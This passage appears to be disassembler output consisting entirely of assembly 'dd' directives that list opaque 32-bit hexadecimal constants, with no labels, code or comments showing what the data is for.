dd 71EF6CEAh, 0CB72E925h, 0A5F325CCh, 4B97F33Fh, 0AD35BA1Bh dd 932E37DDh, 3C5AFFE0h, 0C549E354h, 0E6D91ED2h, 0D84CC96Fh dd 0AD6EF05Fh, 1EC21A16h, 0F0561645h, 73D585D1h, 87FC9DC1h dd 1ABDE023h, 6E7FC4F9h, 0B4BC31EAh, 2DD0782Fh, 2619A0AAh dd 0C18F9120h, 0ABBBBEF4h, 2A856A8Dh, 0BF97E059h, 5CB88DCBh dd 0D8914C40h, 0CFE6C2D1h, 0E43D5DB2h, 0A234E259h, 1918265Dh dd 0A52FAFB4h, 282A95FDh, 0F3DB71Dh, 0EF4F681Bh, 9B8E6CF3h dd 5B3606h, 67EFB31Ch, 4C6586CCh, 64575E8Bh, 0E8F6BBA2h dd 799DAA1Dh, 5B205571h, 2D4ECC6h, 212E105Bh, 0A359C3Ah dd 8CA858A1h, 11CBF51h, 0B724D16Ah, 631EB974h, 0E4313B14h dd 0F534CDB7h, 0A3A77B94h, 0FB0352DAh, 0A42EF39h, 4F0ED758h dd 7E0AB916h, 7096A393h, 71D5635Ah, 5F305A8Ch, 0E7BFB4CCh dd 5AE9DA0Ah, 0EEE01989h, 0B5EC0BC6h, 0BE8E4B93h, 5F6F4B4h dd 0EE6B462Dh, 5BC619ADh, 0B3FC6A4Dh, 382F93B2h, 4AFDF6BCh dd 0DC11C3DEh, 0AD57B07Bh, 0E0209420h, 0B4F19846h, 9AD7C0A0h dd 0DCF68E7Eh, 0ED6057BAh, 81CB38DFh, 4FAF1971h, 0E8B5058Ah dd 0A872FD4Ch, 2332C467h, 0CE3CA68Dh, 0D9C8E03h, 0B4447EB0h dd 28EC3D5Eh, 4EEFC55Fh, 48A8E06Ah, 0D946066h, 0A13DB97Fh dd 0BEF66362h, 722CC012h, 0BF3F33EBh, 0D4A96C94h, 9A6A156h dd 8044E7F6h, 27A9B2A0h, 50097C95h, 0A26EB9B3h, 3104A2F7h dd 0ABFCFE26h, 16E100BBh, 58601E94h, 0A69C2591h, 8A555C32h dd 0FBE70914h, 270836BDh, 0F630B5C5h, 1BC6E1F6h, 4D3A5E0Eh dd 0A2744F23h, 27124EC8h, 383B118Ch, 1DBB21CEh, 608A693Dh dd 33F52186h, 583B5D7Eh, 0A0DEDCCh, 0ECF64386h, 0C12840B5h dd 8DE8FC78h, 0B4C706EFh, 1D8C6F14h, 9D985BF3h, 0E4882FFh dd 571C2Ah, 95997A8Ch, 55C90EA3h, 0CC6AECDEh, 27619A12h dd 0C8F75BCDh, 55F8C078h, 2F3D0989h, 2E59927h, 0EE3F470Dh dd 4EBC863h, 0C8AC301h, 7B13AE55h, 215312DFh, 6D64EC85h dd 97B14DD2h, 65265ACAh, 0F23EA55h, 0CDA1DF0Ch, 0DA2E25A6h dd 9533088Ch, 6B53BC4Bh, 0D8A4280Dh, 1B426BBEh, 0AB178BEBh dd 6BAD5DEEh, 0C942F430h, 0E86EFC6Dh, 0ED335B68h, 0E279DAD2h dd 7C4C2E96h, 0B943DF26h, 59CC2A4Fh, 8339225h, 19634ABEh dd 0BA523D68h, 0EA7C6507h, 0F6186CEAh, 9B0BC29Eh, 7BD349DEh dd 0D6EC3DF8h, 2BAADDCDh, 96900617h, 44DEA87Bh, 1B597DDEh dd 7A798A3h, 222F74B6h, 0A7DDE39Ch, 917D6F08h, 18B87488h dd 7B78628Fh, 9F279961h, 9E7988E1h, 1F66C10h, 13EC5CE6h dd 0D305070Bh, 230AFE5Ah, 0EAE13E6Ah, 0DFE5F946h, 7BC34DE6h dd 0A9EB7AECh, 0ED8E3D49h, 0E778A10h, 830E03C9h, 39BBD19Dh dd 5C3DAC07h, 0F7B700FEh, 0DB1A0681h, 9A0DAD3h, 3D736CA1h dd 0FE30FA3Ah, 333FB18Dh, 7B08B25h, 917F2843h, 0B1AC4A0Ch dd 88D742EFh, 252CB2B9h, 9555818Bh, 0FBD54B0Ah, 0AA73AD5Fh dd 0D1C82F2Dh, 0F202F736h, 41FACBD0h, 8DB562A3h, 5255A756h dd 0D6BA7F4Dh, 554A2C81h, 891862Fh, 0C554640Ah, 0FD483C83h dd 9F63C2C8h, 293E0E1Bh, 9531676Eh, 79D3EE82h, 3C62C604h dd 20F7C2A7h, 629BA6D4h, 0ED94A553h, 0B24BF1F7h, 0C23378CFh dd 609CE821h, 0EE91DDCDh, 37D21B0Dh, 2839768Ch, 0DBB0B5B2h dd 292BE298h, 0C41D0A95h, 0DCCE5646h, 0E5A9DBEEh, 0F671B4B4h dd 0E290673h, 0C5090533h, 1BE2B916h, 0A7722EECh, 0A6090ACBh dd 5591A7D6h, 97A19D42h, 876C50F8h, 2C5AA8B5h, 0D3DA4E1Ah dd 757D0134h, 0F949F8D7h, 50732F67h, 1BC4A0BAh, 79C63EA5h dd 0B4EBDC6Dh, 2CCEB8A5h, 859994Fh, 45D80688h, 414BE1CDh dd 23C0ABC7h, 0CE1CB7F3h, 1A9C383Eh, 0E3FBA121h, 0A43FA53h dd 43D2E9AFh, 2E8AACA9h, 791B1C2Bh, 0F718EBE8h, 12E4323Fh dd 0B1479EBEh, 9E845F02h, 0F01B4663h, 0F0FF9FB5h, 0FBE7BBBFh dd 83512968h, 6AD267E3h, 0E600E29Dh, 0D040DB1h, 9754844h dd 485B9A8h, 3AAB708Dh, 0B4618B2Bh, 0AC52348h, 4AC2829h dd 3D0D6A7h, 42B1148Bh, 5D2E8AC5h, 9E81E9B4h, 2D14CFFh dd 787164B3h, 26A9708Dh, 11FBFF58h, 12CF603Fh, 9D4E626Fh dd 1CF563FEh, 591BEDD5h, 72E456EEh, 53BAEB5Dh, 8A95CED7h dd 0C38B26Fh, 4E4C0610h, 68D5733h, 0EBA0335Ch, 63CDE292h dd 1310398Fh, 7D1E6B47h, 0AFE91F91h, 0C6A9E877h, 479A4024h dd 0C4125534h, 420B3F63h, 0FAA928E1h, 546DE0D1h, 0D677204Ch dd 0D439F842h, 5F6D9A05h, 0EDB4FFD9h, 100A8CAAh, 74CF5CDDh dd 5F4163Ah, 7A215EFAh, 0A282A726h, 0FE9201A7h, 9F3B53EAh dd 17DF8894h, 43E385BCh, 772B3D0Fh, 3A64D2ADh, 38AD133Ch dd 0AA62A026h, 0E900AC19h, 6CC38010h, 491907D0h, 0F52A90CAh dd 14C52AE1h, 0F0C09237h, 0C069832Ch, 21A7444Eh, 1141B845h dd 0A051DCAEh, 9EE7AB27h, 0D22AF94Ah, 3FFAA84Bh, 0D6B1F818h dd 7FBE52A2h, 21458FDAh, 4E797F77h, 0BAABDD7h, 676654ABh dd 4B9B8CB2h, 85A29042h, 5196C600h, 5A62BC46h, 43D2B93Eh dd 558915AAh, 3553350Eh, 0B017B018h, 0CC7EF646h, 5B295CAFh dd 2682774Eh, 0CF937B7Fh dd 0F66C21D6h, 0F8A7210h, 0EC321149h, 94E63FB0h, 8FBB0737h dd 4F8D2005h, 4BFBA841h, 525A96h, 0F7AC062Ah, 0F21556B9h dd 61E4F17Ch, 6493AADCh, 11E27853h, 0FD545B3Ah, 0EA93A803h dd 0FBE78C03h, 6783A450h, 0DF06EC8Ah, 0A7F02FE1h, 0A75641BBh dd 75ABA217h, 4C95B90h, 26BD599Ah, 8B94A8DEh, 95CB6E3Ch dd 0CF099CD2h, 0EED98B6Eh, 77E444F9h, 0BBCE365Dh, 57344A84h dd 1B644261h, 0DE12856Fh, 0B76303A5h, 0C983172h, 3B929D89h dd 5C6C230Eh, 0A780B621h, 0C783831Ch, 0F702762Ah, 0B14A5DE2h dd 0F1114393h, 0D5F9E361h, 939CBB0Ah, 5A5D62F0h, 2C2A4BC1h dd 743844E1h, 0B7CF61C0h, 9A9051EAh, 0DE5575A1h, 5E7A3196h dd 0F2A89667h, 93A4BD68h, 0D9B5AF24h, 0F433AEC6h, 73FC93Ch dd 92B04C16h, 9BA2942Dh, 0F7DA5B6Ch, 6DED5F15h, 8D8559D8h dd 1422646Fh, 0EE9AC822h, 5C8F40F2h, 15512A1Bh, 0FEB2DB8Dh dd 1397A2DCh, 10E8BE7Ah, 60C662F4h, 455A6E6Eh, 82A4F286h dd 0ACF8E6D4h, 0C2F7A6ADh, 1D970B34h, 6DDE61E2h, 7481C33h dd 0E115456Fh, 65DB1CCAh, 1DAF3F9Dh, 93D36AFDh, 0D3B45552h dd 4BAB30CBh, 665383B4h, 0AA099F25h, 0FFE11608h, 0CA42404h dd 775C0E84h, 0DCF6FAB0h, 7A57DC3Ch, 0C9E77F2Ah, 4E4008ADh dd 90ABD37Eh, 9AE3928Bh, 16529739h, 1F9CE0BBh, 0AEB42326h dd 0BDB53FA5h, 0FA4D79F2h, 0C41890B1h, 593A0E6h, 676841C3h dd 1102C7E9h, 90CD2FA1h, 0E8DC9953h, 3A16FF51h, 0CE806050h dd 0FD664A24h, 58A724A0h, 67A2FE80h, 91082652h, 4FA47A58h dd 7A96E99Bh, 6A969D32h, 0FACDC249h, 0F4745762h, 633CBBF0h dd 0C38E9043h, 9A71387Dh, 0ED99D710h, 29649CE7h, 0E3187747h dd 0C8767524h, 93E26759h, 5D1CB97Fh, 1CFAF774h, 23B4ACA2h dd 638FE2Dh, 3C6154E0h, 860BC922h, 0F8FD9B4Fh, 85227F09h dd 0E3EFF7B2h, 678ED76Ch, 952EB5CCh, 58C8F59Fh, 1D18E7D0h dd 957558A5h, 0BE40A3A2h, 0A59D89C1h, 3D0B90DFh, 9619F849h dd 0B415F54Ah, 186B2D1Dh, 0B518608Dh, 6A72C379h, 0ED33F347h dd 0A7CC56ADh, 89612403h, 3F942DA0h, 4804276Fh, 32463C80h dd 98D81CB1h, 29E1C84Eh, 0C24EA7E5h, 0B2C0278Eh, 0EB91E53h dd 4C6C19h, 6D0B55BFh, 83B92819h, 61361DE1h, 0B25B880h dd 7D854749h, 0AC11B2B4h, 66176C9Eh, 0F1FD1618h, 0F38DF88Fh dd 0FB29A2DDh, 37F85F19h, 80BBDB2Dh, 48032DC2h, 3DEC1363h dd 53100F2h, 4B8E3CA9h, 0C0E1AAD1h, 0DD3171B5h, 0F882A374h dd 45319952h, 8075448Eh, 0A063AC4h, 79C649B0h, 0D0EE7CE7h dd 0AD98030Fh, 76557A8Ch, 6AB16B85h, 463BAB8Ch, 9187DD3Eh dd 0CD13070Bh, 290A625Ah, 0B54B49CAh, 0E6DE1CB1h, 59051ED9h dd 82FF1C52h, 0C8463D30h, 76B31E87h, 0A2A30496h, 3313DC23h dd 8881BB56h, 0D6D7FAEEh, 22F0B6CBh, 0DC085004h, 8592DDAAh dd 7D3C72ADh, 0D8DB77B7h, 5AE0F0DDh, 0A924214h, 6C0725B0h dd 0CE605E73h, 0CF6B6B7Eh, 72CF42E3h, 62857E1Eh, 561B79B2h dd 2F828435h, 0E237BBB2h, 900E28EEh, 4E95F27h, 62B732F1h dd 11388557h, 0A2E6E244h, 7CC6EC4Ch, 0E05A9262h, 0DE592C6h dd 28F36541h, 0A3B58F6Ch, 0E89F9AC8h, 0E891D904h, 2E2C5C60h dd 3992A91Ah, 0EC45156h, 2A4A27E4h, 9CD689D6h, 0D58A1D4Fh dd 0ED06DB77h, 0A1E17C89h, 5D7B9EEEh, 6A56C41Ah, 9396345Ah dd 0E0681C02h, 0E598ADDFh, 24290EFFh, 0BC6CB1C4h, 0C87C3516h dd 3B0A89A1h, 9486FC3Bh, 6857D5BAh, 74B72E37h, 0D61F5D75h dd 35A669EBh, 0DD3D932Fh, 6CFCB90Fh, 5A82A6BEh, 0A41B309Bh dd 75B756F8h, 212D2685h, 0D30138h, 0E9F04603h, 6199E3A1h dd 3EBC0F0Eh, 0F539B8D9h, 0B3ED8203h, 305F1D07h, 0E824299Dh dd 0E2157B63h, 0EE9818D4h, 20964D98h, 0A6772B6Fh, 0D75DD3FFh dd 0DE9C5E82h, 8D5DFC23h, 0E8F85C5Ah, 2CC23B4Fh, 22710F2Ch dd 4C39E747h, 994C35A1h, 9AAF27E7h, 85BA6882h, 0FF690FF8h dd 29EFE3FFh, 0E2C84B68h, 322220C8h, 0E62E513Ch, 1C119CBh dd 4F9C98E1h, 0E0570245h, 0BE6BB00Eh, 227873EDh, 8536F7DFh dd 1B6C9C45h, 0A703A823h, 0E34C6A8Bh, 0BBD2600h, 0CD2AD4C4h dd 4E1CD5D1h, 5F0103C4h, 4552C537h, 700DE085h, 0E46D40FFh dd 0EFCD6D9Fh, 0EF9283EAh, 0BCB4947Dh, 982498FEh, 533123E0h dd 39B925B0h, 9DD65BC8h, 67DF26EEh, 54FD55F1h, 0EE7EA28h dd 2BD490EAh, 9B7FD304h, 172E6C99h, 36BCB67Ah, 7F77F7D7h dd 1EB8D8C3h, 5AEF3442h, 24C5DAF4h, 40384CCCh, 15753022h dd 9F14459h, 636BAC3Bh, 0B08870DEh, 0D2FE35B7h, 7D1F7831h dd 9AEA64E9h, 74C00413h, 0C3CE9E31h, 16C06C0Ah, 6C805720h dd 693120FAh, 5EA26513h, 7144EFC0h, 1086210h, 46536E7Eh dd 4C1A3388h, 79F04D37h, 0BDD3E9E6h, 7F778141h, 0FEB5079Fh dd 33781323h, 0D1F177Ah, 817A6C6Dh, 9826A147h, 0F73B8D22h dd 7C819F43h, 81707AC7h, 13C5549Dh, 4BB90021h, 8B35FD83h dd 0A507F266h, 0A80B32h, 0E43B2EBCh, 1D8969D6h, 0D53D6017h dd 8C6ECFEAh, 0BCE96855h, 0EC05F1E1h, 84CDFC32h, 0F54DD90Dh dd 0D2B7B042h, 0F2D9C1D4h, 96726F0Bh, 0F8078204h, 3C7DD10Ch dd 86D24FEDh, 0BADC956h, 49199BD7h, 0C7405F22h, 7806D9C9h dd 9927D80Bh, 208A498Fh, 59C602Eh, 0C24C8374h, 509CB60Ch dd 1F6B5F20h, 8D812FD0h, 0C6D196DFh, 30DA9B3Ch, 0EE19AEB8h dd 0E95D1560h, 0F7A0F717h, 0DF24BE62h, 2182CBBBh, 0FA0A1540h dd 5C376FD1h, 7DC0F2BDh, 3AA8FC61h, 140CF792h, 0DEBCAAC9h dd 589E9ADCh, 0CD005BBFh, 0B67C50D9h, 0D0C234h, 20A2FEA6h dd 0F2045B2Fh, 0D273C5Bh, 4EE16B16h, 2A80EF32h, 0F5F2761Bh dd 192008FCh, 3C98D0A9h, 0C16E2D7Fh, 0EEEFC78h, 0AFB9DDB5h dd 6BAE3D24h, 87399B76h, 43F54ED5h, 0DFA10AA5h, 7A256C23h dd 7AB2163Dh, 66300B27h, 0A6A2835Ch, 47959D5Dh, 4EA88271h dd 0B35419D7h, 52E26A9h, 0C700E78h, 0AEFAF095h, 0A2A73B46h dd 54EC5C57h, 86856255h, 0EE3776D9h, 9680AE6Ch, 6D147B55h dd 0C795D40h, 1B0359E4h, 62BA3450h, 90F1C487h, 360B14D1h dd 67C6CE5Dh, 3F31F566h, 28DEA8FCh, 0F3CECBE6h, 0CEDD5FBFh dd 246FE314h, 0D1B6F0DDh, 3A175D01h, 4C940C55h, 62AA0945h dd 0CF4EB163h, 287B4926h, 29CC00Ch, 0A334DD0Ch, 5F781F04h dd 0B45C4893h, 4B863D66h, 7B7EE3E2h, 449E5907h, 5B5F9723h dd 0CB2E8226h, 7B6EB816h, 53B23DF3h, 43C6D9Dh, 0C177B923h dd 752C2EE3h, 918B2277h, 0AB61DB7Dh, 3603FC6Ah, 13960FB3h dd 975CBA51h, 87E740F3h, 3B98FB09h, 3F4380F8h, 6A569629h dd 9067FE28h, 0CFB37220h, 0EC377D5Ch, 0BC7A686Ah, 0F65F31ACh dd 3BF794Eh, 71B19587h, 52CB10C6h, 0F9C6748Bh, 0C4384096h dd 0C75C1947h, 9AD1AD08h, 0EF8DB19Fh, 0DA9A1858h, 7AE8BDD1h dd 8BB5A30Eh, 26D52B38h, 0BA285769h, 26D318DFh, 7076E1DDh dd 1551CC77h, 0F2FA5B01h, 4DFB9700h, 34B2D1F2h, 1AD15E81h dd 0AF977F5h, 0D4057F38h, 902061CAh, 29A973B7h, 62EEAE54h dd 87BE267Eh, 0FA433770h, 2CAFF573h, 0D5D2D3D3h, 0D4D611A3h dd 4B67BD52h, 1848D0E1h, 8147BDEDh, 5900B702h, 0BB330D92h dd 0DCA0955Fh, 0B58E39FCh, 1F87E806h, 403676EAh, 87048590h dd 2EF6669Ch, 0DA523440h, 66285C8Dh, 5E6796DEh, 63F78D09h dd 196CCFC9h, 0C1E9404h dd 585D3024h, 4274CEE2h, 10FFBAE4h, 87508361h, 7E9348CEh dd 22A26CFAh, 0EFD75A15h, 0A3BF53F5h, 0A1E92370h, 0F0DE558Ch dd 0A4F3CC07h, 0FB76A4B4h, 5594A1DAh, 74DE436Eh, 0FB63815Dh dd 0A3138D8Ch, 1BD9E093h, 0D2EC24A5h, 1ABB1856h, 0FEC9C4E9h dd 45A36CB3h, 22F64F0Dh, 843B83E2h, 96BB18FAh, 0E5D3C936h dd 82B27F19h, 0AE43EA8Ch, 0DF3085CDh, 6C2C20A1h, 76103C3Dh dd 36039FD2h, 4EA8376Fh, 0C9D33161h, 982FFD61h, 5D5610B6h dd 2A5F6B79h, 0AE62F961h, 4DD0C049h, 0F601FF6Fh, 0D9F75FDFh dd 1A41EDB9h, 1CE42916h, 7B14983Ah, 0BA3901A3h, 171B11Eh dd 7ACECD66h, 874F9131h, 31646D51h, 8F5ECA0h, 771FEAB6h dd 38E26BBCh, 54BD8308h, 6E0D7CC6h, 0B29B5E48h, 42B69A21h dd 0E22235C5h, 2E86DEFCh, 22587BFFh, 3AAB5DB3h, 17A6F4B7h dd 0E6D124A6h, 3021B21Ch, 802D93A7h, 43138B56h, 66091B18h dd 0E9E27537h, 1C7DA3D7h, 4951ADBCh, 3203AB9h, 2241D068h dd 0BF14D23Fh, 0AE9C41EBh, 7779F985h, 0BA7CF992h, 0D21E47AAh dd 3DA7E0DDh, 8105FA50h, 17230EACh, 5B611ACDh, 2C0AB7EDh dd 0F6CF0B54h, 2C62D906h, 73566E55h, 0C6FBB34Bh, 980D42D8h dd 8F9E8724h, 35B097A4h, 0FFD572CCh, 0AB0DF499h, 565AAFCBh dd 74D2B234h, 9E0042E0h, 80A9A33Eh, 0AC3CE8E5h, 78425479h dd 66A830EEh, 0B18C8780h, 0B0CC97FDh, 90AE7E0Ch, 2EAF39B9h dd 0E39971DDh, 17988C57h, 37F8A85Dh, 22BBBECDh, 2121004Eh dd 35DD9D02h, 380001D3h, 0ACCB359Ch, 767FD493h, 0C39C693Bh dd 0FE6A1074h, 0C8298DA1h, 5E2A26F9h, 7A5135B5h, 37A60A1h dd 3F5BDDAh, 78580743h, 0F4C5933Ah, 0D85D031Eh, 0D7748FA5h dd 0D0E2C1EFh, 14D4B153h, 9C54F01h, 365A70D0h, 3BA01D10h dd 9DAC900h, 0DDD4839Fh, 0BA241994h, 8A010D9Ch, 9AE73690h dd 13924C95h, 0FC2B87F9h, 4F05CD06h, 4B490A0Ah, 0A911BDAEh dd 0D857AAB4h, 3F225400h, 59732645h, 6872B7B5h, 95F56E97h dd 3C18FADAh, 4C38A6Ah, 0E3D32BC3h, 0AB6EEB81h, 794EEFDBh dd 4E1F425Bh, 60B3E483h, 6BB1C19Eh, 0B82015D7h, 52164BD8h dd 3D15953Bh, 0B4B6373Bh, 5052C0E2h, 9673DFFBh, 0F280CBBBh dd 0C0164F41h, 0AF480A7h, 143D7514h, 0B1DE8BFCh, 11705501h dd 0A7668674h, 854480AFh, 86063FE4h, 73C55C3Ch, 0DDFD19B9h dd 24F7EDACh, 0ABC2B158h, 1C30C29Ah, 1EAB744Eh, 4A183BD7h dd 0B4FFC033h, 752B83C0h, 0AC63CB9Ch, 975B9B9Dh, 23B6C773h dd 6B38618Ah, 5CB45E94h, 52653F02h, 3EF8232Bh, 77A0D44Dh dd 22DB1BEBh, 5173211Bh, 0BE88A36Ch, 70BC95A1h, 1D55132Dh dd 9C7898B6h, 1DAA4A8h, 6D4F7573h, 6BC9B828h, 6CBAD5E7h dd 0CB699A9h, 87648E0Bh, 83154A30h, 7A51D776h, 74F31A74h dd 8BD5029Fh, 0A3A4CE59h, 9E3BFE9Ah, 5015948Fh, 404A7205h dd 0CB3C3DBCh, 5AC91E76h, 0F0366334h, 8BA1389Bh, 10B2BF03h dd 0E9EDF9F1h, 0E04E305Dh, 9689FF55h, 0A2BD36B3h, 97D175BCh dd 9B5BA2A3h, 9B512053h, 6A7D0BC6h, 757B11E9h, 3155CAF9h dd 0C6CFE617h, 0CA9F6D2Eh, 5A3F2D06h, 8BEE9DCDh, 0BA86EF51h dd 0EC4FC1FBh, 3641DD16h, 15D8AED6h, 0ADAE4E6Ah, 0D9A086DDh dd 0C0BBC4A0h, 0D1EA3CFFh, 58C3211Dh, 65AAA42Eh, 19812832h dd 0FCD012F4h, 0A73C868Fh, 819B2719h, 8A6C139Ah, 0EE763133h dd 0FA3A36E3h, 0C6A06F8Fh, 87E3D475h, 0DDF58C10h, 365227ECh dd 3FE5C4ECh, 8941EDBh, 0E5017B55h, 4CD685A9h, 7E60D92Eh dd 1C79287Dh, 0C67F57DDh, 3F892CD0h, 6540FFC7h, 6830CB45h dd 7C833F72h, 0D97C6056h, 0C03E4D08h, 979E9166h, 7EA85384h dd 0BDFCD211h, 3FAEADE3h, 515C8BABh, 6B81B5B9h, 0C8312EA9h dd 734409F5h, 89303AFAh, 0EC0F03F4h, 81F686E7h, 8A8DEF9h dd 31CA103Eh, 0D7791B8Ch, 62E0D9D1h, 0CF3AD604h, 3BB7E6Dh dd 865E3B24h, 1B08147Dh, 4A65DA79h, 0C08DB221h, 6220EE20h dd 307AF504h, 0A08A972Bh, 9CC41640h, 0E799137Fh, 5451041Ch dd 0B826CFC5h, 7206A494h, 0A241074Eh, 38EDD96Fh, 0FA280773h dd 3DACF45Ah, 0BF520D2Bh, 0E3839C80h, 95950775h, 40A622F5h dd 59A06E08h, 43B1B873h, 0BE3C77A6h, 6B05DD8h, 0BB0C41D0h dd 0A60289F6h, 0C41601D3h, 0CDD312F2h, 0ACB1519Fh, 222BDD56h dd 2429B1D9h, 6A845F83h, 229BDC69h, 16CE4962h, 92B90751h dd 1CD11D9Bh, 692DD548h, 0CE1677A7h, 8B5C2D50h, 3AAB2B9h dd 3144FA08h, 38E35FB0h, 625338Fh, 0CE77C70Ch, 0CA9A32EAh dd 0E86099C7h, 37D79396h, 15DCF4D8h, 39920BD9h, 68101917h dd 39CA4904h, 0DCFC57A0h, 7CCB3C41h, 81A2B99h, 0D5983C76h dd 5484C21Fh, 0DEA04AB9h, 0C4C6B412h, 0D365B3B6h, 0B40CB5BEh dd 0C8C21A60h, 9DBA93B0h, 0C6A0B1F6h, 8A44864Dh, 3B33C78Ch dd 0C076E357h, 8C219E35h, 39C1F840h, 4AC01B09h, 0A6264651h dd 19CD393Bh, 55580DA9h, 0DE9855Ah, 0AC71588Ah, 3D390D54h dd 230E0BFFh, 0CD535347h, 6F2724DEh, 73A5BBD6h, 9201BD83h dd 0C67B8C03h, 0B29560B9h, 0DAC236Eh, 0EB4E571Ch, 0B7FC5662h dd 4D30C5EEh, 0B828B32Fh, 4F3C458Ah, 3D62FAD6h, 0F72DE7A7h dd 8CA9EF01h, 0E01B177h, 0AEA58C1Fh, 675E6722h, 44E47886h dd 0D09D17E9h, 0BBE49772h, 4C9DE113h, 56B00818h, 0C99A2EA2h dd 58695A87h, 0D146C2E9h, 23EE05h, 23EEBF63h, 0F4FAA661h dd 979F96EDh, 0E6559DEEh, 0E8A215ECh, 0F7C93F32h, 0FD2340F5h dd 3EFB8E6h, 250087E3h, 4BF29625h, 0CDEF4845h, 0B41A36D6h dd 34D325D1h, 636C34B1h, 588A0844h, 0B2A46299h, 8C90509Dh dd 0AD03DBDFh, 4803D999h, 0D2436DFDh, 48A28F7Dh, 0E6130553h dd 10B49159h, 0E6B34F8h, 392734C7h, 53FC703Bh, 4A146586h dd 261D46DCh, 0B636D42Ah, 8D3EB37Dh, 9AD26261h, 26EC7966h dd 4E6A0E64h, 7FD62EF5h, 8DE737D7h, 868FBBBDh, 20981B3Fh dd 0CD289C51h, 148ACE8Dh, 40F6F2E3h, 0C62439E2h, 3880D37h dd 5FCC9842h, 75AE2294h, 8E407959h, 12FB35A1h, 480C88BDh dd 2FBAD3DDh, 5C6A736Ch, 12C70B37h, 8503FB08h, 37E7BCCEh dd 0A6AE0440h, 55B76965h, 0CBBAB9ADh, 0C10517B9h, 3C1CA4BCh dd 0B715543Dh, 920CA036h, 2C3AB0C1h, 8E73110Ah, 2FCB643Eh dd 369FACDCh, 308204F6h, 0D55281B3h, 4471DC67h, 4FCA0C16h dd 0C2F086BCh, 0F0361E3Ah, 18913A8Fh, 0CF38330Eh, 7595A15Ch dd 0D82EAF36h, 0E0D6EFEAh, 7D99D657h, 180BF5B1h, 643B4CC7h dd 0F3E458EBh, 5CA7174h, 93BC0D15h, 9A46B3F0h, 0CB876F1Dh dd 0D18676A8h, 8E61BC85h, 6123D1B1h, 2F26A895h, 3099D037h dd 0D219BEF5h, 0ACB57806h, 53B25BE4h, 3BEA0C49h, 6560CDF3h dd 44A7B9FCh, 2ACE20EDh, 552D58D5h, 6E744C59h, 580C8C49h dd 0E331A221h, 14C846D1h, 359B46FBh, 8CE6648Ch, 0AF54DB63h dd 5D1EB90h, 0EC1A0EB6h, 0A9B8B29Dh, 83EE9257h, 8A2690A1h dd 5B279488h, 0D9CD0917h, 5C1FFFF9h, 6EC0FB2Fh, 832003FFh dd 635ACC85h, 14062413h, 0EB7E64BCh, 0FD083B99h, 0F42182Ch dd 0CC77894Fh, 567EEE7Ch, 59C81389h, 0F502099h, 8B8D1CD5h dd 175F0215h, 0F54AB399h, 0DFB451BEh, 0DE731DAFh, 6E66DD15h dd 425F8CB4h, 0A062E558h, 5182A461h, 3AF31FA2h, 3EAC79C6h dd 4AD77863h, 9B30A48Fh, 2B5EFD11h, 0A0FFE627h, 32BF0AD1h dd 0B260CD20h, 97648CFh dd 35245DE0h, 0D101C645h, 0C30B88BDh, 6A4031CBh, 0E515A97Dh dd 86EA92AAh, 0BD413193h, 0A9B1AEB1h, 704FFD59h, 9884A215h dd 0A051507Dh, 96413DBBh, 1483742Bh, 6156A056h, 65E63737h dd 5289D3F2h, 41230F68h, 70025630h, 0CB282353h, 0EF7A59BAh dd 0FE6F73DAh, 465C8BFDh, 4ED975B7h, 56FD5665h, 8B390957h dd 0FC7F72BCh, 0F530954h, 5186EDh, 5DEAAF94h, 18BE11DBh dd 28865B31h, 4FD4B0CEh, 0FA80673Ch, 0BA669381h, 810B8FE1h dd 25B0E607h, 0D38CD253h, 0A8109E0Bh, 0D3AB7A02h, 0A5CC0CE4h dd 667B8237h, 0F08714B0h, 87263EFh, 0AC7786D6h, 51ADC3DDh dd 84E0FBB1h, 0C51BB83Ah, 49E64B51h, 0A300AAB9h, 1E545B59h dd 62694213h, 0C74CDE86h, 0C1069C54h, 0A8127035h, 0C4ACB782h dd 0F2D7D886h, 6C7346D5h, 16836989h, 0A5F2FBAAh, 521262D7h dd 778D4A98h, 7B9FE962h, 7B772F0Ah, 5389BEB9h, 1D09AF9Eh dd 74013856h, 3742C52Ch, 412C1C26h, 58B16B3Dh, 716AF2C6h dd 716BFE67h, 0FABA1F5Bh, 0CD0001Ah, 9598B747h, 0BFB344C9h dd 5BC1CC8h, 67CB0E80h, 4C577CDh, 2A547704h, 7A68C19h dd 0FC6ACFE1h, 8108CCD2h, 0FC46B77Ah, 0F0AEAC0h, 0D944BD94h dd 94B6BD50h, 0DD6AAAB5h, 93AA8E04h, 42DCB66Bh, 0BC1562C9h dd 0E697543Bh, 0DF9BD01Eh, 0E024B32Bh, 523D00E4h, 78E0F64h dd 2505F076h, 37138940h, 0E47FEBCCh, 0A07B6173h, 0F62CD6B4h dd 0CA95D231h, 2E32C1F6h, 6BDBD222h, 5BE24477h, 60DAE5D4h dd 220527ADh, 977E592Dh, 4D945198h, 0FD3927B2h, 2D642583h dd 8B49A8E9h, 0D8338C63h, 48825591h, 81AF88FBh, 0DFAA0584h dd 3D29212Fh, 0B9EFECB3h, 0B4A31F3Dh, 416A8C00h, 3F7706A3h dd 818FB107h, 10E39EC6h, 292DB172h, 21E806F1h, 6F213EE3h dd 3D6A3FC1h, 0E0CB2426h, 0E1535552h, 0DB40E1B2h, 604F58AEh dd 0C1AC6F2Ch, 6E265C80h, 0B5BF3CAEh, 44F2EDE9h, 574ED572h dd 0C1DA3F78h, 2D21801Ah, 65961802h, 0B2FBE7AAh, 0F349AD41h dd 7298B8E7h, 0CD7DD386h, 2F809001h, 0C4621A4Eh, 28BE3983h dd 3B103333h, 8C79314Eh, 0E2744450h, 0BFAB8F2Bh, 0F9EAFD2h dd 2791A136h, 936200E4h, 29DE4159h, 2F75967Ah, 72D8007Eh dd 7511FA2Bh, 0CAA360A0h, 0F0979459h, 0E12DAAB2h, 72CFE20h dd 0F5A80ECFh, 38B324CDh, 8C39AEEDh, 419BDD43h, 0D981CCFFh dd 0BD1643ABh, 9A4BB9E7h, 21BCAF94h, 46BEFA38h, 0CA1D0A8Bh dd 0DE743D56h, 29399678h, 16F7E51Ah, 15A39F14h, 650F980Dh dd 1F95E246h, 5CDC5239h, 47998232h, 35558E7h, 1ACA26C0h dd 0A0C9D7FFh, 2F66D430h, 0C2D95596h, 0F4F6FAA5h, 0D2AE5F4Fh dd 0F9DB4E8h, 42D443A3h, 9F8F93DAh, 24F37915h, 39A323CAh dd 0FA21B9F7h, 3C64AC87h, 0AE27DD5Ah, 38C3C3A7h, 0A38C53B6h dd 223197B4h, 0A497E2E4h, 0D30E9F24h, 5AF318DBh, 42469D89h dd 9DDEB9D3h, 0BA7549DAh, 3A6169A3h, 0F3AD2458h, 1037B897h dd 1C287A4Fh, 0F0726CA4h, 41CB3FCh, 